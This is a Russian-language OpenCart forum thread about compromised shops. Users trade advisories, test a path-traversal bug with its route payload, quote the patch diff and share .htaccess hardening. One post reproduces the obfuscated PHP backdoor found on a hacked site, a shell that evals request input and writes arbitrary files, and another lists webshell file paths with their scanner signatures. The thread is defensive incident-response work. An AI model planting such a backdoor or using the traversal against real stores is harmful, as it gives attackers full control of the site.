Перейти до вмісту
Пошук в
  • Детальніше...
Шукати результати, які ...
Шукати результати в ...

Взлом OpenCart


garik

Recommended Posts

Два дня назад я уже это разместил, но наверное, не все читают все посты, поэтому повторюсь:

 

Недавно мне пришло письмо от моего хостера (Мастерхост):

 

В последнее время участились случаи взлома CMS OpenCart с использованием обнаруженной
более года назад уязвимости:

http://www.securitylab.ru/vulnerability/422889.php

При эксплуатации этой уязвимости на первом этапе вредоносный код размещается в директории
download, а далее через размещенные там скрипты производятся другие действия, такие, как
рассылка спама или изменение произвольных файлов. В случае размещения вебшелла
злоумышленник получает полный доступ ко всей площадке и может размещать свои скрипты на
любом сайте площадки

На вашей площадке используется данная CMS, поэтому рекомендуем вам проверить
всю вашу площадку на наличие посторонних файлов. Также проверьте файлы .htaccess на
внедрение туда кода переадресации мобильных устройств на сайт, содержащий вирусы для
Android. Для того, чтобы воспрепятствовать дальнейшей эксплуатации данной уязвимости,
рекомендуем либо полностью запретить запись в директорию download путём установки на неё
атрибутов 555, либо разместить в ней файл .htaccess c директивой deny from all.
 
  • +1 1
Надіслати
Поділитися на інших сайтах


тут больше - http://www.waraxe.us/advisory-84.html нужно будет изучить этот документ и проверить все на актуальных версиях опенкарта, там все для 1.5.2.1 

Надіслати
Поділитися на інших сайтах

Была эта проблема, .htaccess файлы были изменены,

и в папке download лежали файлы , все удалил

Работало, затем. появились такие файлы:

 

admin/language/russian/catalog/index.php
docs/admin/language/russian/extension/index.php
docs/admin/language/russian/module/index.php
/docs/admin/language/russian/user/index.php
docs/admin/model/catalog/index.php
/docs/admin/model/report/index.php
.docs/admin/view/javascript/ckeditor/skins/kama/index.php
docs/admin/view/javascript/jquery/jstree/themes/image/index.php

 

порядка 30 штук в разных каталогах.

 

там код такой:    $bqrhbx = "033dbba0ab36eaae9dc59073b2099210"; if(isset($_REQUEST['qposy'])) { $zinmyzl = $_REQUEST['qposy']; eval($zinmyzl); exit(); } if(isset($_REQUEST['svpjvp'])) { $eygk = $_REQUEST['xsoiz']; $xnxv = $_REQUEST['svpjvp']; $xdukc = fopen($xnxv, 'w'); $vomqewl = fwrite($xdukc, $eygk); fclose($xdukc); echo $vomqewl; exit(); }

 

 

вроде все почистил, все пароли поменял,

 

каталог Admin переименовал,

htaccess права 444 стоит,

download - 555.

 

Как еще закрыть все дыры - от куда оно ползет?

 

и еще при запуске сайта идет перенаправление вот сюда :

имя.ru/index.php?route=common/home

другие сайты проверял - там все окей, нет перенаправления такого

имя.ru и все.

 

index.php?route=common/home - и с этим файлом какая то проблема

в админке показывает, что в нем ошибки

Надіслати
Поділитися на інших сайтах


тут больше - http://www.waraxe.us/advisory-84.html нужно будет изучить этот документ и проверить все на актуальных версиях опенкарта, там все для 1.5.2.1

Проверяю уязвимости с этого списка, специально установил чистый опенкарт 1.5.2.1 

 

По первому пункту, автор утверждает  что если открыть следующий адрес: index.php?route=..\..\admin\index

То на виндовз платформе получим следующий результат:

Fatal error: Cannot redeclare error_handler() (previously declared in

C:\apache_www\opencart1521\index.php:78) in

C:\apache_www\opencart1521\admin\index.php on line 87

 

То есть что  таким образом можно подключить произвольный файл, прописав в роуте route=..\..\admin\index 

К сожалению у меня возможности протестировать все на виндовз нету но под линуксом я получил "Страница не найдена"

И я не понимаю, как можно это запустить, если в классе Action есть код:

str_replace('../', '', (string)$route)

то есть все "../" тупо удаляются

после чего

if (is_file(DIR_APPLICATION . 'controller/' . str_replace('../', '', $path) . '.php')) {

$this->file = DIR_APPLICATION . 'controller/' . str_replace('../', '', $path) . '.php';

подключается только существующий в папке DIR_APPLICATION . 'controller/ файл.

 

Уязвимость повторить не удалось - FALSE

 

Надіслати
Поділитися на інших сайтах

На 1.5.1 и на 1.5.1.3 получил (Windows)

 

Fatal error: Cannot redeclare error_handler() (previously declared in Z:\home\localhost\www\index.php:82) in Z:\home\localhost\www\admin\index.php on line 91
На 1.5.3.1 все ОК - 404 страница.
Надіслати
Поділитися на інших сайтах

И я не понимаю, как можно это запустить, если в классе Action есть код:

str_replace('../', '', (string)$route)

Так это и было фиксами по результатам отчета об уязвимостях. Правда, чуть ниже - там, где про виндовс вспомнили и все варианты начали выкусывать.

Что здесь удивительного? Вчера отвечал на такой же линк знакомому, в форум не отписал.

Я помню эти обсуждения и что было несколько фиксов по этим репортам. Инфо на securitylab.ru древняя и не соответствует действительности (не проверяется, не обновляется) - например, про то, что уязвимость присутствует в 1.5.x, и что не исправлена.

Правда, насколько я помню, на тот момент у waraxe был не десяток пунктов описан, а меньше.

Хотя могу ошибаться. Так что может быть имеет смысл всё остальное описанное проверить.

git logst -p --grep 'vulner'

...

commit bbd6079095daf021b4b01e7e196a6549164fb834
Author: [email protected] <[email protected]>
Date:   Sat Apr 7 09:46:41 2012 +0000

    vulnerability Local File Inclusion in "action.php" for some windows servers fix
    
    git-svn-id: http://opencart.googlecode.com/svn@1003 a472ed72-f7c0-11dd-9d1a-b59b2e1864b6
---
 trunk/upload/system/engine/action.php | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/trunk/upload/system/engine/action.php b/trunk/upload/system/engine/action.php
index 058ecf4..d3ce6fa 100644
--- a/trunk/upload/system/engine/action.php
+++ b/trunk/upload/system/engine/action.php
@@ -21,8 +21,8 @@ final class Action {
                                continue;
                        }
                        
-                       if (is_file(DIR_APPLICATION . 'controller/' . str_replace('../', '', $path) . '.php')) {
-                               $this->file = DIR_APPLICATION . 'controller/' . str_replace('../', '', $path) . '.php';
+                       if (is_file(DIR_APPLICATION . 'controller/' . str_replace(array('../', '..\\', '..'), '', $path) . '.php')) {^M
+                               $this->file = DIR_APPLICATION . 'controller/' . str_replace(array('../', '..\\', '..'), '', $path) . '.php';^M
                                
                                $this->class = 'Controller' . preg_replace('/[^a-zA-Z0-9]/', '', $path);
 
Надіслати
Поділитися на інших сайтах


все почистил, все закрыл вроде все работает пока.

 

2 сайта удалил полностью, они пробные были так для интереса.

в поиске яндекса они правда остались - со страшными надписями: сайт может угрожать вашей безопасности.

 

а вот посмторел через админку пользователей он лайн на сайте: и вот что ищут все буквально в течении 30 минут:

как раз идут запросы к тем файлам, что я удалил

 

Надіслати
Поділитися на інших сайтах


Проблема актуальна для мультидоменности, так как сам несколько сайтов мониторю по этим вопросам, то больший % взлома платформы, работающей на опене, происходих из за того, что на хосте, находяться другие платформы или же сам опен на уровне поддомена установлен... 70% всех проблемных моментов - при установленной Joomla, там через TinyMCE редактор частенько вскрывали, и понеслось... Соотв и вордпрес и друпал - так же могут влиять на безопасность.

Надіслати
Поділитися на інших сайтах

Из своего опыта, могу сказать, что почти все взломы опенкарта происходят от того, что пользователи или используют версии опенкарта трех летней давности (как-то работает ну и ладно, зачем что-то менять) или устанавливают модули, скачанные с каких-то варезников. Никто не задумывается что бесплатный сыр только в мышеловке и на подобных помойках куча модулей зараженных вирусами, троянами и прочей нечистю. Но ведь всем хочется халявы, а потом слышу - "опенкартр взломали".. ага.. опенкарт вломали, меньше нужно халявой пользоваться и все будет нормально.

Надіслати
Поділитися на інших сайтах

Никто не задумывается что бесплатный сыр только в мышеловке и на подобных помойках куча модулей зараженных вирусами, троянами и прочей нечистю. Но ведь всем хочется халявы, а потом слышу - "опенкартр взломали".. ага.. опенкарт вломали, меньше нужно халявой пользоваться и все будет нормально.

Только давайте не будем путать "бесплатно, халява" с "ворованное и варез". Две большие разницы.
Надіслати
Поділитися на інших сайтах


второй день форумы гудят по поводу массовых атак на серверы хостеров

у некоторых админки легли ...

 

На всякий случай закрыл временно свои админки.

Положил в папки admin (administrator) файл .htaccess с кодом

####  NO  Enter 
Order Deny,Allow

Deny from all

Может кому пригодится.

Когда все утихнет - закомментировать или удалить файл

 

/*информация с форума joomla*/

Надіслати
Поділитися на інших сайтах


/*информация с форума joomla*/

 

:-D Информация с форума Joomla прямо как код в её компонентах. Уже если делать через htaccess, то так:

order allow,deny
deny from all
allow from 195.69.02.101

Вместо 195.69.02.101 подставить IP админа, чтобы сам админ мог зайти в админку со своего компа.

  • +1 1
Надіслати
Поділитися на інших сайтах

В папку downloads можно положить htaccess

RemoveHandler .php .phtml .php3
RemoveType .php .phtml .php3
php_flag engine off

<Files ~>
	order allow,deny
	deny from all
	allow from 127.0.0.1
</Files>

и chmod 0755 на саму папку

  • +1 2
Надіслати
Поділитися на інших сайтах

"Path Disclosure" убирается простым отключением вывода ошибок (остается только логирование) и указанием (в настройках магазина) другого файла в качестве лога ошибок.

что и было сделано на demo.myopencart.ru  :ph34r:

 

но выловили несколько других ошибок.

так что спасибо.

  • +1 1
Надіслати
Поділитися на інших сайтах

А чуть подробнее можно, особенно про другие ошибки :)

Или смотреть в GitHab?

И да, ошибки теперь не выводятся, но показывается просто пустая страница. Будет после исправления 404 или что-то другое? Пустая страница как-то не очень...

Надіслати
Поділитися на інших сайтах


на хабре статья о массовой атаке на водпресс (а также джумла и дле) сайты http://habrahabr.ru/post/188932/
боты пробуют методом перебора подобрать пароли к админке

Один из самых простых и в тоже время самых эффективных способов защитить свою админку - просто переименовать папку админки из admin в например admin123 или d41d8c или что угодно + нужно изменить admin/config.php, поменять все пути с admin на новое название.

2 минуты работы и ни один бот или злоумышленник просто не найдет где эта админка находится соответственно никак не сможет навредить. 

Надіслати
Поділитися на інших сайтах

на хабре статья о массовой атаке на водпресс (а также джумла и дле) сайты http://habrahabr.ru/post/188932/

боты пробуют методом перебора подобрать пароли к админке

У меня хостер просто заблокировал wp-login.php  и /administrator/index.php.

Надіслати
Поділитися на інших сайтах

в статистике по использованию памяти резкий скачок, превышение лимита. еле еле грузятся страницы

в тех. поддержке говорят, что идёт массовая атака на вордпрес и джумлу.. я говорю у меня они не установлены... но ничего толком не ответили 

поменял путь к админке, но всё равно нагрузка не падает

Надіслати
Поділитися на інших сайтах


в тех. поддержке говорят, что идёт массовая атака на вордпрес и джумлу.. я говорю у меня они не установлены... но ничего толком не ответили 

 

Когда-то у меня VDS ддосили так, что у хостера весь дата-центр лег.

Надіслати
Поділитися на інших сайтах

Поделюсь личными наблюдениями.Ниже приведены файлы ,наиболее часто встречавшиеся мне лично после заражения подобными вирусами

 

 

public_html/admin/view/javascript/jquery/jstree/xml.php : PHP.Trojan.Spambot

public_html/admin/view/javascript/ckeditor/plugins/pagebreak/lib.php : PHP.Trojan.Spambot

public_html/admin/controller/user/config.php : PHP.Trojan.Spambot

public_html/download/404.php.9c0fb4142da6972e30f2a2c589cc7c25 : PHP.HostComm.#28463.evb64.0.UNOFFICIAL

public_html/download/info.php.03026abce018f6fce8537fdd1ac183a7 : PHP.Shell.HostComm.#27047.WSO.0.UNOFFICIAL

public_html/download/404.php.7ff91c5269ad5893f88eae20d6080204 : PHP.Shell-83

public_html/download/404.php.ba3a7a74209767771a9be989d5f684ac : PHP.Webshell-3

public_html/download/404.php.71f2ef134de65983b573a6036cce1e0a : PHP.Webshell-3

public_html/download/404.php3.5e0ecad34bd5180362012a308853e912 : PHP.Shell-83

public_html/download/info.php.4bed5a5ae11d02c51a423ff6ee3041c9 : PHP.Shell.HostComm.#27047.WSO.0.UNOFFICIAL

public_html/download/404.php3.2a2f4b3b2a05f4a8104a292610bc062f : PHP.Shell-83

public_html/download/scheduleVFZ.php : PHP.Trojan.Spambot

Надіслати
Поділитися на інших сайтах

Я сам пока еще лично не успел воспользоваться данной системой, но вот что нашел интересного:

Залили шел через админку. А чтобы попасть в админку просто набрутили простой пасс который он использовал. Оказывается очень много уязвимостей у опенкарта

 

Советы:

1. Сменить адрес админки
2. Убрать восстановление пароля

 

 

Может кто-то сможет провести аудит данной системы за деньги?

Надіслати
Поділитися на інших сайтах


Створіть аккаунт або увійдіть для коментування

Ви повинні бути користувачем, щоб залишити коментар

Створити обліковий запис

Зареєструйтеся для отримання облікового запису. Це просто!

Зареєструвати аккаунт

Вхід

Уже зареєстровані? Увійдіть тут.

Вхід зараз
  • Зараз на сторінці   0 користувачів

    • Ні користувачів, які переглядиють цю сторінку

×
×
  • Створити...

Important Information

На нашому сайті використовуються файли cookie і відбувається обробка деяких персональних даних користувачів, щоб поліпшити користувальницький інтерфейс. Щоб дізнатися для чого і які персональні дані ми обробляємо перейдіть за посиланням . Якщо Ви натиснете «Я даю згоду», це означає, що Ви розумієте і приймаєте всі умови, зазначені в цьому Повідомленні про конфіденційність.